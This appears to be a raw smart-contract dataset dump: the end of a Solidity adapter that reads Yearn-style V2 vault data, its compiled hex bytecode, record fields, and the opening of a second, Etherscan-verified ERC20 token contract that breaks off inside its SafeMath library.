{ IV2Vault vault = IV2Vault(assetAddress); address tokenAddress = vault.token(); return tokenAddress; } /** * Fetch static information about an asset */ function assetStatic(address assetAddress) public view returns (AssetStatic memory) { IV2Vault vault = IV2Vault(assetAddress); address tokenAddress = underlyingTokenAddress(assetAddress); return AssetStatic({ id: assetAddress, typeId: adapterInfo().typeId, name: vault.name(), version: vault.apiVersion(), token: tokenMetadata(tokenAddress) }); } /** * Fetch dynamic information about an asset */ function assetDynamic(address assetAddress) public view returns (AssetDynamic memory) { IV2Vault vault = IV2Vault(assetAddress); address tokenAddress = underlyingTokenAddress(assetAddress); uint256 totalSupply = vault.totalSupply(); uint256 pricePerShare = 0; bool vaultHasShares = totalSupply != 0; if (vaultHasShares) { pricePerShare = vault.pricePerShare(); } address latestVaultAddress = IV2Registry(registry()).latestVault(tokenAddress); bool migrationAvailable = latestVaultAddress != assetAddress; AssetMetadata memory metadata = AssetMetadata({ symbol: vault.symbol(), pricePerShare: pricePerShare, migrationAvailable: migrationAvailable, latestVaultAddress: latestVaultAddress, depositLimit: vault.depositLimit(), emergencyShutdown: vault.emergencyShutdown() }); uint256 balance = assetBalance(assetAddress); TokenAmount memory underlyingTokenBalance = tokenAmount(balance, tokenAddress); return AssetDynamic({ id: assetAddress, typeId: adapterInfo().typeId, tokenId: tokenAddress, underlyingTokenBalance: underlyingTokenBalance, metadata: metadata }); } /** * Fetch asset positions of an account given an asset address */ function assetPositionsOf(address accountAddress, address assetAddress) public view returns (Position[] memory) { IV2Vault _asset = IV2Vault(assetAddress); uint8 assetDecimals = _asset.decimals(); address tokenAddress = underlyingTokenAddress(assetAddress); IERC20 token = IERC20(tokenAddress); uint256 balance = _asset.balanceOf(accountAddress); uint256 _accountTokenBalance = token.balanceOf(accountAddress); uint256 _underlyingTokenBalance = (balance * _asset.pricePerShare()) / 10**assetDecimals; Position[] memory positions = new Position[](1); positions[0] = Position({ assetId: assetAddress, tokenId: tokenAddress, typeId: "DEPOSIT", balance: balance, underlyingTokenBalance: tokenAmount( _underlyingTokenBalance, tokenAddress ), accountTokenBalance: tokenAmount( _accountTokenBalance, tokenAddress ), tokenAllowances: tokenAllowances(accountAddress, assetAddress), assetAllowances: assetAllowances(accountAddress, assetAddress) }); return positions; } /** * Fetch asset balance in underlying tokens */ function assetBalance(address assetAddress) public view returns (uint256) { IV2Vault vault = IV2Vault(assetAddress); return vault.totalAssets(); } /** * Fallback proxy. Primary use case is to give registry adapters access to TVL adapter logic */ fallback() external { assembly { let addr := sload(fallbackContractAddress.slot) calldatacopy(0, 0, calldatasize()) let success := staticcall(gas(), addr, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if success { return(0, returndatasize()) } } } }
0x608060405234801561001057600080fd5b50600436106101465760003560e01c8063a704abca116100b8578063d33c39d21161007c578063d33c39d2146103ca578063d36ec1cf146103fa578063d68bda7c1461042a578063e23121b11461045a578063e258f16a1461048a578063f50477a2146104ba57610147565b8063a704abca146102fe578063a96e83031461031c578063c10e0eeb1461034c578063c6d0dc8b1461036a578063cd88e5581461039a57610147565b80637b1039991161010a5780637b103999146102265780637dc0d1d01461024457806387920845146102625780639adbba5914610292578063a31091c7146102b0578063a4e815b2146102ce57610147565b80633d90e2c81461016c57806357d028361461019c57806363b0e66a146101ba57806369706fed146101d857806372d5a97b1461020857610147565b5b6003543660008037600080366000845afa3d6000803e8015610168573d6000f35b5050005b6101866004803603810190610181919061258b565b6104d8565b604051610193919061332e565b60405180910390f35b6101a461064f565b6040516101b19190613233565b60405180910390f35b6101c261066c565b6040516101cf91906132b4565b60405180910390f35b6101f260048036038101906101ed919061258b565b610692565b6040516101ff919061330c565b60405180910390f35b610210610ad7565b60405161021d9190613144565b60405180910390f35b61022e610afd565b60405161023b9190613144565b60405180910390f35b61024c610ba4565b60405161025991906132cf565b60405180910390f35b61027c6004803603810190610277919061266d565b610bc8565b6040516102899190613233565b60405180910390f35b61029a610d10565b6040516102a79190613255565b60405180910390f35b6102b8610d2d565b6040516102c591906131cd565b60405180910390f35b6102e860048036038101906102e3919061258b565b610dd9565b6040516102f59190613350565b60405180910390f35b610306610de6565b6040516103139190613299565b60405180910390f35b6103366004803603810190610331919061258b565b610e0c565b6040516103439190613144565b60405180910390f35b610354610e9e565b60405161036191906132ea565b60405180910390f35b610384600480360381019061037f91906125dd565b610f46565b6040516103919190613211565b60405180910390f35b6103b460048036038101906103af919061258b565b6111ca565b6040516103c1919061336b565b60405180910390f35b6103e460048036038101906103df9190612619565b611256565b6040516103f19190613277565b60405180910390f35b610414600480360381019061040f919061266d565b6113e1565b6040516104219190613255565b60405180910390f35b610444600480360381019061043f91906125dd565b611529565b6040516104519190613211565b60405180910390f35b610474600480360381019061046f919061258b565b611801565b6040516104819190613277565b60405180910390f35b6104a4600480360381019061049f91906125dd565b611821565b6040516104b19190613277565b60405180910390f35b6104c2611c0e565b6040516104cf919061336b565b60405180910390f35b6104e0611f54565b600082905060006104f084610e0c565b90506040518060a001604052808573ffffffffffffffffffffffffffffffffffffffff168152602001610521610e9e565b6020015181526020018373ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b15801561057057600080fd5b505afa158015610584573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906105ad919061279a565b81526020018373ffffffffffffffffffffffffffffffffffffffff1663258294106040518163ffffffff1660e01b815260040160006040518083038186803b1580156105f857600080fd5b505afa15801561060c573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610635919061279a565b815260200161064383611cb5565b81525092505050919050565b6060600061065b610d2d565b905061066681610bc8565b91505090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61069a611f9f565b600082905060006106aa84610e0c565b905060008273ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156106f457600080fd5b505afa158015610708573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072c91906127db565b905060008080831415905080156107be578473ffffffffffffffffffffffffffffffffffffffff166399530b066040518163ffffffff1660e01b815260040160206040518083038186803b15801561078357600080fd5b505afa158015610797573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bb91906127db565b91505b60006107c8610afd565b73ffffffffffffffffffffffffffffffffffffffff1663e177dc70866040518263ffffffff1660e01b81526004016108009190613144565b60206040518083038186803b15801561081857600080fd5b505afa15801561082c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085091906125b4565b905060008873ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415905060006040518060c001604052808973ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b1580156108d957600080fd5b505afa1580156108ed573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610916919061279a565b815260200186815260200183151581526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018973ffffffffffffffffffffffffffffffffffffffff1663ecf708586040518163ffffffff1660e01b815260040160206040518083038186803b15801561098b57600080fd5b505afa15801561099f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c391906127db565b81526020018973ffffffffffffffffffffffffffffffffffffffff16633403c2fc6040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0e57600080fd5b505afa158015610a22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a469190612771565b151581525090506000610a588b6111ca565b90506000610a66828a611e85565b90506040518060a001604052808d73ffffffffffffffffffffffffffffffffffffffff168152602001610a97610e9e565b6020015181526020018a73ffffffffffffffffffffffffffffffffffffffff168152602001828152602001848152509a5050505050505050505050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637b1039996040518163ffffffff1660e01b815260040160206040518083038186803b158015610b6757600080fd5b505afa158015610b7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9f91906125b4565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060008251905060008167ffffffffffffffff811115610c12577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610c4b57816020015b610c38611f9f565b815260200190600190039081610c305790505b50905060005b82811015610d05576000858281518110610c94577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190506000610ca982610692565b905080848481518110610ce5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001018190525050508080610cfd90613904565b915050610c51565b508092505050919050565b60606000610d1c610d2d565b9050610d27816113e1565b91505090565b6060600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a31091c76040518163ffffffff1660e01b815260040160006040518083038186803b158015610d9757600080fd5b505afa158015610dab573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610dd491906126ae565b905090565b610de1612006565b919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008082905060008173ffffffffffffffffffffffffffffffffffffffff1663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b158015610e5a57600080fd5b505afa158015610e6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9291906125b4565b90508092505050919050565b610ea661202f565b60405180606001604052803073ffffffffffffffffffffffffffffffffffffffff1681526020016040518060400160405280600881526020017f5641554c545f563200000000000000000000000000000000000000000000000081525081526020016040518060400160405280600581526020017f5641554c54000000000000000000000000000000000000000000000000000000815250815250905090565b60606000600167ffffffffffffffff811115610f8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610fb95781602001602082028036833780820191505090505b5090508281600081518110610ff7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630f0e98de8684600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf5f86bd6040518163ffffffff1660e01b815260040160006040518083038186803b1580156110db57600080fd5b505afa1580156110ef573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061111891906126ae565b6040518463ffffffff1660e01b81526004016111369392919061315f565b60006040518083038186803b15801561114e57600080fd5b505afa158015611162573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061118b91906126ef565b60405160200161119b91906131ef565b6040516020818303038152906040529050808060200190518101906111c09190612730565b9250505092915050565b6000808290508073ffffffffffffffffffffffffffffffffffffffff166301e1d1146040518163ffffffff1660e01b815260040160206040518083038186803b15801561121657600080fd5b505afa15801561122a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124e91906127db565b915050919050565b606060008251905060008167ffffffffffffffff8111156112a0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156112d957816020015b6112c6612066565b8152602001906001900390816112be5790505b50905060005b828110156113d5576000858281518110611322577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151905060006113388883611821565b600081518110611371577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519050808484815181106113b5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181905250505080806113cd90613904565b9150506112df565b50809250505092915050565b606060008251905060008167ffffffffffffffff81111561142b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561146457816020015b611451611f54565b8152602001906001900390816114495790505b50905060005b8281101561151e5760008582815181106114ad577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151905060006114c2826104d8565b9050808484815181106114fe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101819052505050808061151690613904565b91505061146a565b508092505050919050565b6060600061153683610e0c565b90506000600167ffffffffffffffff81111561157b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156115a95781602001602082028036833780820191505090505b5090506000600167ffffffffffffffff8111156115ef577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561161d5781602001602082028036833780820191505090505b509050828260008151811061165b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505084816000815181106116d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630f0e98de8885856040518463ffffffff1660e01b815260040161176b9392919061315f565b60006040518083038186803b15801561178357600080fd5b505afa158015611797573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906117c091906126ef565b6040516020016117d091906131ef565b6040516020818303038152906040529050808060200190518101906117f59190612730565b94505050505092915050565b6060600061180d610d2d565b90506118198382611256565b915050919050565b6060600082905060008173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561187057600080fd5b505afa158015611884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118a89190612804565b905060006118b585610e0c565b9050600081905060008473ffffffffffffffffffffffffffffffffffffffff166370a08231896040518263ffffffff1660e01b81526004016118f79190613144565b60206040518083038186803b15801561190f57600080fd5b505afa158015611923573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061194791906127db565b905060008273ffffffffffffffffffffffffffffffffffffffff166370a082318a6040518263ffffffff1660e01b81526004016119849190613144565b60206040518083038186803b15801561199c57600080fd5b505afa1580156119b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119d491906127db565b9050600085600a6119e59190613667565b8773ffffffffffffffffffffffffffffffffffffffff166399530b066040518163ffffffff1660e01b815260040160206040518083038186803b158015611a2b57600080fd5b505afa158015611a3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6391906127db565b84611a6e9190613785565b611a7891906135e3565b90506000600167ffffffffffffffff811115611abd577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611af657816020015b611ae3612066565b815260200190600190039081611adb5790505b5090506040518061010001604052808b73ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1681526020016040518060400160405280600781526020017f4445504f534954000000000000000000000000000000000000000000000000008152508152602001858152602001611b888589611e85565b8152602001611b978489611e85565b8152602001611ba68d8d611529565b8152602001611bb58d8d610f46565b81525081600081518110611bf2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181905250809850505050505050505092915050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f50477a26040518163ffffffff1660e01b815260040160206040518083038186803b158015611c7857600080fd5b505afa158015611c8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cb091906127db565b905090565b611cbd6120e3565b600082905060405180608001604052808473ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b158015611d2f57600080fd5b505afa158015611d43573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611d6c919061279a565b81526020018273ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b158015611db757600080fd5b505afa158015611dcb573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611df4919061279a565b81526020018273ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015611e3f57600080fd5b505afa158015611e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e779190612804565b60ff16815250915050919050565b611e8d612124565b604051806040016040528084815260200160008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a7f668085876040518363ffffffff1660e01b8152600401611ef99291906131a4565b60206040518083038186803b158015611f1157600080fd5b505afa158015611f25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f4991906127db565b815250905092915050565b6040518060a00160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001606081526020016060815260200160608152602001611f996120e3565b81525090565b6040518060a00160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160608152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001611ff3612124565b815260200161200061213e565b81525090565b6040518060200160405280600073ffffffffffffffffffffffffffffffffffffffff1681525090565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160608152602001606081525090565b604051806101000160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160608152602001600081526020016120c2612124565b81526020016120cf612124565b815260200160608152602001606081525090565b6040518060800160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016060815260200160608152602001600060ff1681525090565b604051806040016040528060008152602001600081525090565b6040518060c001604052806060815260200160008152602001600015158152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016000151581525090565b60006121a161219c846133ab565b613386565b905080838252602082019050828560208602820111156121c057600080fd5b60005b858110156121f057816121d6888261237c565b8452602084019350602083019250506001810190506121c3565b5050509392505050565b600061220d612208846133ab565b613386565b9050808382526020820190508285602086028201111561222c57600080fd5b60005b8581101561225c57816122428882612391565b84526020840193506020830192505060018101905061222f565b5050509392505050565b6000612279612274846133d7565b613386565b9050808382526020820190508285608086028201111561229857600080fd5b60005b858110156122c857816122ae888261248d565b84526020840193506080830192505060018101905061229b565b5050509392505050565b60006122e56122e084613403565b613386565b9050808382526020820190508285606086028201111561230457600080fd5b60005b85811015612334578161231a8882612501565b845260208401935060608301925050600181019050612307565b5050509392505050565b600061235161234c8461342f565b613386565b90508281526020810184848401111561236957600080fd5b6123748482856138a0565b509392505050565b60008135905061238b816139f8565b92915050565b6000815190506123a0816139f8565b92915050565b600082601f8301126123b757600080fd5b81356123c784826020860161218e565b91505092915050565b600082601f8301126123e157600080fd5b81516123f18482602086016121fa565b91505092915050565b600082601f83011261240b57600080fd5b815161241b848260208601612266565b91505092915050565b600082601f83011261243557600080fd5b81516124458482602086016122d2565b91505092915050565b60008151905061245d81613a0f565b92915050565b600082601f83011261247457600080fd5b815161248484826020860161233e565b91505092915050565b60006080828403121561249f57600080fd5b6124a96080613386565b905060006124b984828501612391565b60008301525060206124cd84828501612391565b60208301525060406124e184828501612561565b60408301525060606124f584828501612391565b60608301525092915050565b60006060828403121561251357600080fd5b61251d6060613386565b9050600061252d84828501612391565b600083015250602061254184828501612391565b602083015250604061255584828501612561565b60408301525092915050565b60008151905061257081613a26565b92915050565b60008151905061258581613a3d565b92915050565b60006020828403121561259d57600080fd5b60006125ab8482850161237c565b91505092915050565b6000602082840312156125c657600080fd5b60006125d484828501612391565b91505092915050565b600080604083850312156125f057600080fd5b60006125fe8582860161237c565b925050602061260f8582860161237c565b9150509250929050565b6000806040838503121561262c57600080fd5b600061263a8582860161237c565b925050602083013567ffffffffffffffff81111561265757600080fd5b612663858286016123a6565b9150509250929050565b60006020828403121561267f57600080fd5b600082013567ffffffffffffffff81111561269957600080fd5b6126a5848285016123a6565b91505092915050565b6000602082840312156126c057600080fd5b600082015167ffffffffffffffff8111156126da57600080fd5b6126e6848285016123d0565b91505092915050565b60006020828403121561270157600080fd5b600082015167ffffffffffffffff81111561271b57600080fd5b612727848285016123fa565b91505092915050565b60006020828403121561274257600080fd5b600082015167ffffffffffffffff81111561275c57600080fd5b61276884828501612424565b91505092915050565b60006020828403121561278357600080fd5b60006127918482850161244e565b91505092915050565b6000602082840312156127ac57600080fd5b600082015167ffffffffffffffff8111156127c657600080fd5b6127d284828501612463565b91505092915050565b6000602082840312156127ed57600080fd5b60006127fb84828501612561565b91505092915050565b60006020828403121561281657600080fd5b600061282484828501612576565b91505092915050565b600061283983836128b1565b60208301905092915050565b60006128518383612c72565b60808301905092915050565b60006128698383612cc7565b60608301905092915050565b60006128818383612d09565b905092915050565b60006128958383612e8c565b905092915050565b60006128a98383612fbe565b905092915050565b6128ba816137df565b82525050565b6128c9816137df565b82525050565b60006128da826134c0565b6128e4818561355b565b93506128ef83613460565b8060005b83811015612920578151612907888261282d565b97506129128361350d565b9250506001810190506128f3565b5085935050505092915050565b6000612938826134cb565b612942818561356c565b935061294d83613470565b8060005b8381101561297e5781516129658882612845565b97506129708361351a565b925050600181019050612951565b5085935050505092915050565b6000612996826134d6565b6129a0818561357d565b93506129ab83613480565b8060005b838110156129dc5781516129c3888261285d565b97506129ce83613527565b9250506001810190506129af565b5085935050505092915050565b60006129f4826134d6565b6129fe818561358e565b9350612a0983613480565b8060005b83811015612a3a578151612a21888261285d565b9750612a2c83613527565b925050600181019050612a0d565b5085935050505092915050565b6000612a52826134e1565b612a5c818561359f565b935083602082028501612a6e85613490565b8060005b85811015612aaa5784840389528151612a8b8582612875565b9450612a9683613534565b925060208a01995050600181019050612a72565b50829750879550505050505092915050565b6000612ac7826134ec565b612ad181856135b0565b935083602082028501612ae3856134a0565b8060005b85811015612b1f5784840389528151612b008582612889565b9450612b0b83613541565b925060208a01995050600181019050612ae7565b50829750879550505050505092915050565b6000612b3c826134f7565b612b4681856135c1565b935083602082028501612b58856134b0565b8060005b85811015612b945784840389528151612b75858261289d565b9450612b808361354e565b925060208a01995050600181019050612b5c565b50829750879550505050505092915050565b612baf816137f1565b82525050565b612bbe81613834565b82525050565b612bcd81613858565b82525050565b612bdc8161387c565b82525050565b6000612bed82613502565b612bf781856135d2565b9350612c078185602086016138a0565b612c10816139da565b840191505092915050565b6000606083016000830151612c3360008601826128b1565b5060208301518482036020860152612c4b8282612be2565b91505060408301518482036040860152612c658282612be2565b9150508091505092915050565b608082016000820151612c8860008501826128b1565b506020820151612c9b60208501826128b1565b506040820151612cae6040850182613117565b506060820151612cc160608501826128b1565b50505050565b606082016000820151612cdd60008501826128b1565b506020820151612cf060208501826128b1565b506040820151612d036040850182613117565b50505050565b600060c083016000830151612d2160008601826128b1565b5060208301518482036020860152612d398282612be2565b9150506040830151612d4e60408601826128b1565b506060830151612d61606086018261307e565b50608083015184820360a0860152612d798282612e03565b9150508091505092915050565b600060c083016000830151612d9e60008601826128b1565b5060208301518482036020860152612db68282612be2565b9150506040830151612dcb60408601826128b1565b506060830151612dde606086018261307e565b50608083015184820360a0860152612df68282612e03565b9150508091505092915050565b600060c0830160008301518482036000860152612e208282612be2565b9150506020830151612e356020860182613117565b506040830151612e486040860182612ba6565b506060830151612e5b60608601826128b1565b506080830151612e6e6080860182613117565b5060a0830151612e8160a0860182612ba6565b508091505092915050565b600060a083016000830151612ea460008601826128b1565b5060208301518482036020860152612ebc8282612be2565b91505060408301518482036040860152612ed68282612be2565b91505060608301518482036060860152612ef08282612be2565b91505060808301518482036080860152612f0a82826130ad565b9150508091505092915050565b600060a083016000830151612f2f60008601826128b1565b5060208301518482036020860152612f478282612be2565b91505060408301518482036040860152612f618282612be2565b91505060608301518482036060860152612f7b8282612be2565b91505060808301518482036080860152612f9582826130ad565b9150508091505092915050565b602082016000820151612fb860008501826128b1565b50505050565b600061014083016000830151612fd760008601826128b1565b506020830151612fea60208601826128b1565b50604083015184820360408601526130028282612be2565b91505060608301516130176060860182613117565b50608083015161302a608086018261307e565b5060a083015161303d60c086018261307e565b5060c0830151848203610100860152613056828261298b565b91505060e0830151848203610120860152613071828261298b565b9150508091505092915050565b6040820160008201516130946000850182613117565b5060208201516130a76020850182613117565b50505050565b60006080830160008301516130c560008601826128b1565b50602083015184820360208601526130dd8282612be2565b915050604083015184820360408601526130f78282612be2565b915050606083015161310c6060860182613135565b508091505092915050565b6131208161381d565b82525050565b61312f8161381d565b82525050565b61313e81613827565b82525050565b600060208201905061315960008301846128c0565b92915050565b600060608201905061317460008301866128c0565b818103602083015261318681856128cf565b9050818103604083015261319a81846128cf565b9050949350505050565b60006040820190506131b960008301856128c0565b6131c66020830184613126565b9392505050565b600060208201905081810360008301526131e781846128cf565b905092915050565b60006020820190508181036000830152613209818461292d565b905092915050565b6000602082019050818103600083015261322b81846129e9565b905092915050565b6000602082019050818103600083015261324d8184612a47565b905092915050565b6000602082019050818103600083015261326f8184612abc565b905092915050565b600060208201905081810360008301526132918184612b31565b905092915050565b60006020820190506132ae6000830184612bb5565b92915050565b60006020820190506132c96000830184612bc4565b92915050565b60006020820190506132e46000830184612bd3565b92915050565b600060208201905081810360008301526133048184612c1b565b905092915050565b600060208201905081810360008301526133268184612d86565b905092915050565b600060208201905081810360008301526133488184612f17565b905092915050565b60006020820190506133656000830184612fa2565b92915050565b60006020820190506133806000830184613126565b92915050565b60006133906133a1565b905061339c82826138d3565b919050565b6000604051905090565b600067ffffffffffffffff8211156133c6576133c56139ab565b5b602082029050602081019050919050565b600067ffffffffffffffff8211156133f2576133f16139ab565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561341e5761341d6139ab565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561344a576134496139ab565b5b613453826139da565b9050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006135ee8261381d565b91506135f98361381d565b9250826136095761360861397c565b5b828204905092915050565b6000808291508390505b600185111561365e5780860481111561363a5761363961394d565b5b60018516156136495780820291505b8081029050613657856139eb565b945061361e565b94509492505050565b60006136728261381d565b915061367d83613827565b92506136aa7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846136b2565b905092915050565b6000826136c2576001905061377e565b816136d0576000905061377e565b81600181146136e657600281146136f05761371f565b600191505061377e565b60ff8411156137025761370161394d565b5b8360020a9150848211156137195761371861394d565b5b5061377e565b5060208310610133831016604e8410600b84101617156137545782820a90508381111561374f5761374e61394d565b5b61377e565b6137618484846001613614565b925090508184048111156137785761377761394d565b5b81810290505b9392505050565b60006137908261381d565b915061379b8361381d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156137d4576137d361394d565b5b828202905092915050565b60006137ea826137fd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061383f82613846565b9050919050565b6000613851826137fd565b9050919050565b60006138638261386a565b9050919050565b6000613875826137fd565b9050919050565b60006138878261388e565b9050919050565b6000613899826137fd565b9050919050565b60005b838110156138be5780820151818401526020810190506138a3565b838111156138cd576000848401525b50505050565b6138dc826139da565b810181811067ffffffffffffffff821117156138fb576138fa6139ab565b5b80604052505050565b600061390f8261381d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156139425761394161394d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b613a01816137df565b8114613a0c57600080fd5b50565b613a18816137f1565b8114613a2357600080fd5b50565b613a2f8161381d565b8114613a3a57600080fd5b50565b613a4681613827565b8114613a5157600080fd5b5056fea26469706673582212200815a83c0cead2ddf352f10d0e261e1c2d34e3acc8930058994be993c6758aee64736f6c63430008020033
{"success": true, "error": null, "results": {}}
511
0x611ad2c694cda85bbf1135838490fe5da678f593
/** *Submitted for verification at Etherscan.io on 2022-01-03 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; 